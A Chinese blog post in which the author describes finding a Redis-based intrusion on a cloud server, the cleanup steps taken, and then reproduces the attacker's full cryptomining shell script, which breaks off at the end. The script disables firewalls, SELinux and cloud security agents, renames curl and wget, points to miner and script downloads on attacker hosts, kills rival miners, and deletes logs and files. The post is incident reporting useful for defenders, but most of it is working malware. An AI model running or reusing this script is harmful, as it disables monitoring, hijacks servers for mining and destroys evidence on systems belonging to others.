起因由于项目需要，将一台闲置服务器开启了Redis服务并且设置了公网访问，在偶尔的一次查看Redis过程中，发现了4条来源不明的数据根据脚本内容逐渐发现被黑客入侵了，而且好像打算用来挖矿，不过庆幸的是系统里也没有定时任务运行，不清楚真正的目的排查从阿里的控制台发现ECS告警确实有三条来自美国的IP以root用户进入系统因此先对root下的定时任务进行排查，结果发现没有定时任务#查看定时任务列表 crontab -l #删除所有定时任务 crontab -r然后根据网上的信息得知是通过Redis入侵到服务器在排查了其他进程和文件之后，确定服务器还没有被利用，所以及时做了防护措施具体相关介绍可以看这篇文章：https://blog.csdn.net/fdl123456/article/details/103932845解决本来想着重装一下系统，但是由于服务器上还有别的项目，就没重装并且由于项目的需要，所以暂时不能关闭公网访问，只好对登录redis设置了极为复杂的密码并重置了ssh密钥登录最后关于恶意脚本的解读可以看这篇文章：https://blog.csdn.net/qq_39241986/article/details/123102746恶意脚本内容如下#!/bin/sh ulimit -n 65535 chmod 777 /usr/bin/chattr chmod 777 /bin/chattr chattr -iua /tmp/ chattr -iua /var/tmp/ iptables -F ufw disable echo '0' >/proc/sys/kernel/nmi_watchdog echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf chattr -iae /root/.ssh/ chattr -iae /root/.ssh/authorized_keys chattr -iua /tmp/ chattr -iua /var/tmp/ rm -rf /tmp/addres* rm -rf /tmp/walle* rm -rf /tmp/keys rm -rf /var/log/syslog setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null sync && echo 3 >/proc/sys/vm/drop_caches crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/zzhs rtdir="/etc/zzhs" bbdir="/usr/bin/curl" bbdira="/usr/bin/cd1" ccdir="/usr/bin/wget" ccdira="/usr/bin/wd1" mv /usr/bin/wgettnt /usr/bin/wd1 mv /usr/bin/curltnt /usr/bin/cd1 mv /usr/bin/wget1 /usr/bin/wd1 mv /usr/bin/curl1 /usr/bin/cd1 mv /usr/bin/cur /usr/bin/cd1 mv /usr/bin/cdl /usr/bin/cd1 mv /usr/bin/cdt /usr/bin/cd1 mv /usr/bin/xget /usr/bin/wd1 mv /usr/bin/wge /usr/bin/wd1 mv /usr/bin/wdl /usr/bin/wd1 mv /usr/bin/wdt /usr/bin/wd1 mv /usr/bin/wget /usr/bin/wd1 mv /usr/bin/curl /usr/bin/cd1 if ps aux | grep -i '[a]liyun'; then $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash echo '[binary]' | base64 -d | bash echo '[binary]' | base64 -d | bash pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis* systemctl stop aliyun.service systemctl disable aliyun.service service bcm-agent stop yum remove bcm-agent -y apt-get remove bcm-agent -y elif ps aux | grep -i '[y]unjing'; then /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh fi if [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop && /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove && rm -rf /usr/local/cloudmonitor else export ARCH=amd64 if [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} ]; then /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} stop && /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} uninstall && rm -rf /usr/local/cloudmonitor else echo "ali cloud monitor not running" fi fi setenforce 0 echo SELINUX=disabled >/etc/selinux/config service apparmor stop systemctl disable apparmor service aliyun.service stop systemctl disable aliyun.service ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs dirname | xargs rm -rf ps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs dirname | xargs rm -rf ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs dirname | xargs rm -rf ps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs dirname | xargs rm -rf ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs -I {} kill -9 {} rm -rf /usr/local/aegis miner_url="http://45.83.123.29/cleanfda/zzh" miner_url_backup="http://en2an.top/cleanfda/zzh" miner_size="2269048" sh_url="http://45.83.123.29/cleanfda/newinit.sh" sh_url_backup="http://en2an.top/cleanfda/newinit.sh" chattr_size="8000" sleep 1 if [ -x "$(command -v t)" ]; then mv /usr/bin/t /usr/bin/chattr fi if [ -x "$(command -v chattr)" ]; then chattr -i /usr/bin/ip6network chattr -i /usr/bin/kswaped chattr -i /usr/bin/irqbalanced chattr -i /usr/bin/rctlcli chattr -i /usr/bin/systemd-network chattr -i /usr/bin/pamdicks echo 1 > /usr/bin/ip6network echo 2 > /usr/bin/kswaped echo 3 > /usr/bin/irqbalanced echo 4 > /usr/bin/rctlcli echo 5 > /usr/bin/systemd-network echo 6 > /usr/bin/pamdicks chattr +i /usr/bin/ip6network chattr +i /usr/bin/kswaped chattr +i /usr/bin/irqbalanced chattr +i /usr/bin/rctlcli chattr +i /usr/bin/systemd-network chattr +i /usr/bin/pamdicks fi sleep 1 rm -f /tmp/.null 2>/dev/null echo 128 > /proc/sys/vm/nr_hugepages sysctl -w vm.nr_hugepages=128 kill_miner_proc() { netstat -anp | grep 194.87.139.103 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 % netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 % netstat -anp | grep 140.82.52.87 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 % netstat -anp | grep :23 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :143 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :3333 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :3389 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :5555 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :6666 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :6665 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :6667 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :7777 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :8444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :3347 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % netstat -anp | grep :10008 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ps.original aux | grep -v grep | grep ':13531' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep ':5555' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'kworker -c\' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'systemten' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'netns' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'voltuned' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'darwin' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/65ccE*' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/jmx*' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/2Ne80*' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '45.76.122.92' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '51.38.191.178' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '51.15.56.161' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '86s.jpg' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'aGTSGJJp' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'nMrfmnRa' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'PuNY5tm2' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'I0r8Jyyt' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'AgdgACUD' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'uiZvwxG8' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'BtwXn5qH' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '3XEzey2T' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 't2tKrCSZ' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'HD7fcBgg' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'zXcDajSs' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '3lmigMo' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'AkMK4A2' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'AJ2AkKe' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'HiPxCJRS' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'http_0xCC030' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'http_0xCC031' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'http_0xCC032' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'http_0xCC033' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "C4iLM4L" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/boot/vmlinuz' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "i4b503a52cc5" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "2g0uv7npuhrlatd" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "nqscheduler" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "rkebbwgqpl4npmm" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep -v aux | grep "]" | awk '$3>10.0{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "0kwti6ut420t" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "\[^" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "rsync" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "158.69.133.18:8220" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'gitee.com' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '104.248.4.162' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '89.35.39.78' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'redis2' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep -v aux | grep " ps" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs -I % kill -9 % ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs -I % kill -9 % ps aux | grep -v grep | grep -v aux | grep "x]" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep -v aux | grep "sh] <" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep -v aux | grep " \[]" | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/l.sh' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'CnzFVPLF' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'CvKzzZLs' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '/tmp/udevd' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'sustse' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'sustse3' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '2mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '2mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'cr5.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'cr5.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:8080" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:3333" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "zhuabcn@yahoo.com" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "monerohash.com" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "/tmp/a7b104c270" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:6666" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:7777" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:443" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "stratum.f2pool.com:8888" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "xmrpool.eu" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep -v grep | grep "kieuanilam.me" | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep xiaoyao | awk '{print $2}' | xargs -I % kill -9 % ps auxf | grep xiaoxue | awk '{print $2}' | xargs -I % kill -9 % netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 % pgrep -f xzpauectgr | xargs -I % kill -9 % pgrep -f slxfbkmxtd | xargs -I % kill -9 % pgrep -f mixtape | xargs -I % kill -9 % pgrep -f addnj | xargs -I % kill -9 % pgrep -f 200.68.17.196 | xargs -I % kill -9 % pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % kill -9 % pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % kill -9 % pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 % pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 % pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 % pgrep -f honvbsasbf.conf | xargs -I % kill -9 % pgrep -f mqdsflm.cf | xargs -I % kill -9 % pgrep -f lower.sh | xargs -I % kill -9 % pgrep -f ./ppp | xargs -I % kill -9 % pgrep -f cryptonight | xargs -I % kill -9 % pgrep -f ./seervceaess | xargs -I % kill -9 % pgrep -f ./servceaess | xargs -I % kill -9 % pgrep -f ./servceas | xargs -I % kill -9 % pgrep -f ./servcesa | xargs -I % kill -9 % pgrep -f ./vsp | xargs -I % kill -9 % pgrep -f ./jvs | xargs -I % kill -9 % pgrep -f ./pvv | xargs -I % kill -9 % pgrep -f ./vpp | xargs -I % kill -9 % pgrep -f ./pces | xargs -I % kill -9 % pgrep -f ./rspce | xargs -I % kill -9 % pgrep -f ./haveged | xargs -I % kill -9 % pgrep -f ./jiba | xargs -I % kill -9 % pgrep -f ./watchbog | xargs -I % kill -9 % pgrep -f ./A7mA5gb | xargs -I % kill -9 % pgrep -f kacpi_svc | xargs -I % kill -9 % pgrep -f kswap_svc | xargs -I % kill -9 % pgrep -f kauditd_svc | xargs -I % kill -9 % pgrep -f kpsmoused_svc | xargs -I % kill -9 % pgrep -f kseriod_svc | xargs -I % kill -9 % pgrep -f kthreadd_svc | xargs -I % kill -9 % pgrep -f ksoftirqd_svc | xargs -I % kill -9 % pgrep -f kintegrityd_svc | xargs -I % kill -9 % pgrep -f jawa | xargs -I % kill -9 % pgrep -f oracle.jpg | xargs -I % kill -9 % pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 % pgrep -f 188.209.49.54 | xargs -I % kill -9 % pgrep -f 181.214.87.241 | xargs -I % kill -9 % pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 % pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 % pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 % pgrep -f servim | xargs -I % kill -9 % pgrep -f kblockd_svc | xargs -I % kill -9 % pgrep -f native_svc | xargs -I % kill -9 % pgrep -f ynn | xargs -I % kill -9 % pgrep -f 65ccEJ7 | xargs -I % kill -9 % pgrep -f jmxx | xargs -I % kill -9 % pgrep -f 2Ne80nA | xargs -I % kill -9 % pgrep -f sysstats | xargs -I % kill -9 % pgrep -f systemxlv | xargs -I % kill -9 % pgrep -f watchbog | xargs -I % kill -9 % pgrep -f OIcJi1m | xargs -I % kill -9 % pkill -f biosetjenkins pkill -f Loopback pkill -f apaceha pkill -f cryptonight pkill -f mixnerdx pkill -f performedl pkill -f JnKihGjn pkill -f irqba2anc1 pkill -f irqba5xnc1 pkill -f irqbnc1 pkill -f ir29xc1 pkill -f conns pkill -f irqbalance pkill -f crypto-pool pkill -f XJnRj pkill -f mgwsl pkill -f pythno pkill -f jweri pkill -f lx26 pkill -f NXLAi pkill -f BI5zj pkill -f askdljlqw pkill -f minerd pkill -f minergate pkill -f Guard.sh pkill -f ysaydh pkill -f bonns pkill -f donns pkill -f kxjd pkill -f Duck.sh pkill -f bonn.sh pkill -f conn.sh pkill -f kworker34 pkill -f kw.sh pkill -f pro.sh pkill -f polkitd pkill -f acpid pkill -f icb5o pkill -f nopxi pkill -f irqbalanc1 pkill -f minerd pkill -f i586 pkill -f gddr pkill -f mstxmr pkill -f ddg.2011 pkill -f wnTKYg pkill -f deamon pkill -f disk_genius pkill -f sourplum pkill -f polkitd pkill -f nanoWatch pkill -f zigw pkill -f devtool pkill -f devtools pkill -f systemctI pkill -f watchbog pkill -f cryptonight pkill -f sustes pkill -f xmrig pkill -f xmrig-cpu pkill -f 121.42.151.137 pkill -f init12.cfg pkill -f nginxk pkill -f tmp/wc.confz pkill -f xmrig-notls pkill -f xmr-stak pkill -f suppoie pkill -f zer0day.ru pkill -f dbus-daemon--system pkill -f nullcrew pkill -f systemctI pkill -f kworkerds pkill -f init10.cfg pkill -f /wl.conf pkill -f crond64 pkill -f sustse pkill -f vmlinuz pkill -f exin pkill -f apachiii pkill -f crypto pkill -f tntrecht pkill -f xr pkill -f svcupdate pkill -9 cnrig rm -rf /usr/bin/config.json rm -rf /usr/bin/exin rm -rf /tmp/wc.conf rm -rf /tmp/log_rot rm -rf /tmp/apachiii rm -rf /tmp/sustse rm -rf /tmp/php rm -rf /tmp/p2.conf rm -rf /tmp/pprt rm -rf /tmp/ppol rm -rf /tmp/javax/config.sh rm -rf /tmp/javax/sshd2 rm -rf /tmp/.profile rm -rf /tmp/1.so rm -rf /tmp/kworkerds rm -rf /tmp/kworkerds3 rm -rf /tmp/kworkerdssx rm -rf /tmp/xd.json rm -rf /tmp/syslogd rm -rf /tmp/syslogdb rm -rf /tmp/65ccEJ7 rm -rf /tmp/jmxx rm -rf /tmp/2Ne80nA rm -rf /tmp/dl rm -rf /tmp/ddg rm -rf /tmp/systemxlv rm -rf /tmp/systemctI rm -rf /tmp/.abc rm -rf /tmp/osw.hb rm -rf /tmp/.tmpleve rm -rf /tmp/.tmpnewzz rm -rf /tmp/.java rm -rf /tmp/.omed rm -rf /tmp/.tmpc rm -rf /tmp/.tmpleve rm -rf /tmp/.tmpnewzz rm -rf /tmp/gates.lod rm -rf /tmp/conf.n rm -rf /tmp/devtool rm -rf /tmp/devtools rm -rf /tmp/fs rm -rf /tmp/.rod rm -rf /tmp/.rod.tgz rm -rf /tmp/.rod.tgz.1 rm -rf /tmp/.rod.tgz.2 rm -rf /tmp/.mer rm -rf /tmp/.mer.tgz rm -rf /tmp/.mer.tgz.1 rm -rf /tmp/.hod rm -rf /tmp/.hod.tgz rm -rf /tmp/.hod.tgz.1 rm -rf /tmp/84Onmce rm -rf /tmp/C4iLM4L rm -rf /tmp/lilpip rm -rf /tmp/3lmigMo rm -rf /tmp/am8jmBP rm -rf /tmp/tmp.txt rm -rf /tmp/baby rm -rf /tmp/.lib rm -rf /tmp/systemd rm -rf /tmp/lib.tar.gz rm -rf /tmp/baby rm -rf /tmp/java rm -rf /tmp/j2.conf rm -rf /tmp/.mynews1234 rm -rf /tmp/a3e12d rm -rf /tmp/.pt rm -rf /tmp/.pt.tgz rm -rf /tmp/.pt.tgz.1 rm -rf /tmp/go rm -rf /tmp/java rm -rf /tmp/j2.conf rm -rf /tmp/.tmpnewasss rm -rf /tmp/java rm -rf /tmp/go.sh rm -rf /tmp/go2.sh rm -rf /tmp/khugepageds rm -rf /tmp/.censusqqqqqqqqq rm -rf /tmp/.kerberods rm -rf /tmp/kerberods rm -rf /tmp/seasame rm -rf /tmp/touch rm -rf /tmp/.p rm -rf /tmp/runtime2.sh rm -rf /tmp/runtime.sh rm -rf /dev/shm/z3.sh rm -rf /dev/shm/z2.sh rm -rf /dev/shm/.scr rm -rf /dev/shm/.kerberods rm -f /etc/ld.so.preload rm -rf /etc/systemd/system/systemde.service* rm -f /etc/ld.so.preload rm -f /usr/local/lib/libioset.so chattr -i /etc/ld.so.preload rm -f /etc/ld.so.preload systemctl stop moneroocean_miner.service systemctl stop systemde.service rm -f /usr/local/lib/libioset.so rm -rf /tmp/watchdogs rm -rf /etc/cron.d/tomcat rm -rf /etc/rc.d/init.d/watchdogs rm -rf /usr/sbin/watchdogs rm -f /tmp/kthrotlds rm -f /etc/rc.d/init.d/kthrotlds rm -rf /tmp/.sysbabyuuuuu12 rm -rf /tmp/logo9.jpg rm -rf /tmp/miner.sh rm -rf 